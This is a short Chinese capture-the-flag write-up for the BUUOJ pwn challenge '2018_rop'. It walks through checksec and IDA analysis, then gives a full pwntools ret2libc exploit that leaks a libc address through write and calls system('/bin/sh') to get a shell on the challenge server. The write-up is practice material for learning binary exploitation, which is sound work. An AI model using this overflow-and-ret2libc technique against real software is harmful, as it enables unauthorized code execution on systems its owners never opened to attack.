老规矩checksec 很简单32位 栈不可执行 就不能往shellcode靠 其实蛮想对shellcode写点东西的下次下次
    ida打开
    image.png
    题目流程简单 进入vulnerable (这名字就暴露对吧,容易受到攻击的)
    image.png
    就栈溢出 一般来说ida就是准的ebp-88h 或者就cyclic一个0x88的字符串就去试试 知道漏洞这gdb 就杀鸡牛刀了,不过用用也好
    image.png
    就是ret2libc3 稍微扯上一点栈偏移

    1. from pwn import *
    2. from LibcSearcher import LibcSearcher
    3. context(log_level = 'debug')
    4. io = remote('node4.buuoj.cn',29955)
    5. #io = process("./2018_rop")
    6. #io = remote("node4.buuoj.cn",28046)
    7. #context.arch = "amd64"
    8. elf = ELF('./2018_rop')
    9. offest = 0x88
    10. write_plt = elf.plt['write']
    11. read_got = elf.got['read']
    12. vulnerable_function_addr = elf.sym['main']
    13. payload = b'a'*(offest+4)+p32(write_plt)+p32(vulnerable_function_addr)+p32(1)+p32(read_got)+p32(4)
    14. io.sendline(payload)
    15. read_addr=u32(io.recv())
    16. log.success('read==>'+hex(read_addr))
    17. #libc=LibcSearcher('read',read_addr)
    18. #libc_base = read_addr-libc.dump('read')
    19. #system_addr = libc_base+libc.dump('system')
    20. #sh_addr = libc_base+libc.dump("str_bin_sh")
    21. libc_base = read_addr - 0x0e5620
    22. system_addr = libc_base + 0x03cd10
    23. sh_addr = libc_base + 0x17b8cf
    24. payload1= b'a'*(offest+4)+p32(system_addr)+p32(1)+p32(sh_addr)
    25. io.sendline(payload1)
    26. io.interactive()

    log.success(‘read==>’+hex(read_addr))
    学到这么一句 (我看高手就这么写的,我也这么写所以我等于高手)以前都是直接print
    然后如果说直接在本地打
    image.png
    竟然没打通
    然后试了试远端
    好的打通了
    噢对了,如果说你的libcsearcher找不到相应的libc
    https://libc.blukat.me/
    可以去这个网站找偏移